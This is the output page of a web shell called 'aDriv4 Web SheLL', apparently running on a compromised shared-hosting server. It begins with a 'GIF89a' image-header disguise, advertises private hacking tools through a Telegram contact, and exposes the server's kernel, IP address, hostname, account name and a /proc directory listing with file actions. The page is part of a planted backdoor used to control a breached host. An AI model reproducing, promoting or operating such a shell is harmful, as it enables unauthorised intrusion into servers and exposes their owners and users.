GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux server120.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
 LiteSpeed
 198.54.116.63
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2024-05-06 07:40:19
.. dir - root/root 0755 2025-08-05 05:32:06
232167 dir - lesshgjr/lesshgjr 0555 2026-01-03 08:22:25
233592 dir - lesshgjr/lesshgjr 0555 2026-01-03 08:22:54
233642 dir - lesshgjr/lesshgjr 0555 2026-01-03 08:22:55
237584 dir - lesshgjr/lesshgjr 0555 2026-01-03 08:24:00
238045 dir - lesshgjr/lesshgjr 0555 2026-01-03 08:24:12
238121 dir - lesshgjr/lesshgjr 0555 2026-01-03 08:24:14
238164 dir - lesshgjr/lesshgjr 0555 2026-01-03 08:24:15
238166 dir - lesshgjr/lesshgjr 0555 2026-01-03 08:24:15
238171 dir - lesshgjr/lesshgjr 0555 2026-01-03 08:24:15
238523 dir - lesshgjr/lesshgjr 0555 2026-01-03 08:24:22
238920 dir - lesshgjr/lesshgjr 0555 2026-01-03 08:24:30
243954 dir - lesshgjr/lesshgjr 0555 2026-01-03 08:25:15
40811 dir - lesshgjr/lesshgjr 0555 2026-01-03 08:10:06
acpi dir - root/root 0555 2024-05-06 11:41:57
bus dir - root/root 0555 2024-05-06 11:42:06
driver dir - root/root 0555 2026-01-03 08:25:08
fs dir - root/root 0555 2024-05-06 11:42:06
irq dir - root/root 0555 2024-05-06 11:42:02
kcare dir - root/root 0555 2026-01-03 08:25:08
lve dir - root/root 0555 2026-01-03 06:50:19
net link - lesshgjr/lesshgjr 0555 2026-01-03 08:25:16
scsi dir - root/root 0555 2024-05-06 11:42:06
self link - lesshgjr/lesshgjr 0555 2026-01-03 08:22:55
sys dir - root/root 0555 2024-05-06 07:41:50
sysvipc dir - root/root 0555 2026-01-03 08:25:08
thread-self link - lesshgjr/lesshgjr 0555 2026-01-03 08:25:06
tty dir - root/root 0555 2026-01-03 08:25:08
buddyinfo 0 B root/root 0444 2026-01-03 08:25:08
cgroups 0 B root/root 0444 2026-01-03 08:25:08
cmdline text/plain 0 B root/root 0444 2026-01-03 08:20:06
consoles 0 B root/root 0444 2026-01-03 08:25:08
cpuinfo text/plain 0 B root/root 0444 2026-01-03 08:25:08
crypto 0 B root/root 0444 2026-01-03 08:25:08
devices 0 B root/root 0444 2026-01-03 08:25:08
diskstats 0 B root/root 0444 2026-01-03 08:25:08
dma 0 B root/root 0444 2026-01-03 08:25:08
execdomains 0 B root/root 0444 2026-01-03 08:25:08
fb 0 B root/root 0444 2026-01-03 08:25:08
filesystems text/plain 0 B root/root 0444 2026-01-03 07:53:55
interrupts 0 B root/root 0444 2026-01-03 08:25:08
iomem 0 B root/root 0444 2026-01-03 08:25:08
ioports 0 B root/root 0444 2026-01-03 08:25:08
kallsyms 0 B root/root 0444 2024-05-06 11:42:06
kcore 128 TB root/root 0400 2024-05-06 11:41:57
key-users 0 B root/root 0444 2026-01-03 08:25:08
keys 0 B root/root 0444 2026-01-03 08:25:08
kmsg 0 B root/root 0400 2026-01-03 08:25:08
kpagecgroup 0 B root/root 0400 2026-01-03 08:25:08
kpagecount 0 B root/root 0400 2026-01-03 08:25:08
kpageflags 0 B root/root 0400 2026-01-03 08:25:08
loadavg text/plain 0 B root/root 0444 2026-01-03 07:39:50
locks 0 B root/root 0444 2026-01-03 08:25:08
mdstat 0 B root/root 0444 2026-01-03 08:25:08
meminfo text/plain 0 B root/root 0444 2026-01-03 08:10:05
misc 0 B root/root 0444 2026-01-03 08:25:08
modules 0 B root/root 0444 2026-01-03 08:25:08
mounts text/plain 0 B lesshgjr/lesshgjr 0444 2026-01-03 08:25:16
mtrr 0 B root/root 0644 2024-05-06 11:42:06
pagetypeinfo 0 B root/root 0400 2026-01-03 08:25:08
partitions 0 B root/root 0444 2026-01-03 08:25:08
sched_debug 0 B root/root 0444 2026-01-03 08:25:08
schedstat 0 B root/root 0444 2026-01-03 08:25:08
slabinfo 0 B root/root 0400 2026-01-03 08:25:08
softirqs 0 B root/root 0444 2026-01-03 08:25:08
stat text/plain 0 B root/root 0444 2026-01-03 07:05:28
swaps 0 B root/root 0444 2024-05-06 07:41:51
sysrq-trigger 0 B root/root 0200 2024-05-06 11:42:06
timer_list 0 B root/root 0400 2026-01-03 08:25:08
uptime text/plain 0 B root/root 0444 2026-01-03 07:05:28
version text/plain 0 B root/root 0444 2026-01-03 08:25:08
vmallocinfo 0 B root/root 0400 2026-01-03 08:25:08
vmstat 0 B root/root 0444 2026-01-03 08:25:08
zoneinfo 0 B root/root 0444 2026-01-03 08:25:08
© aDriv4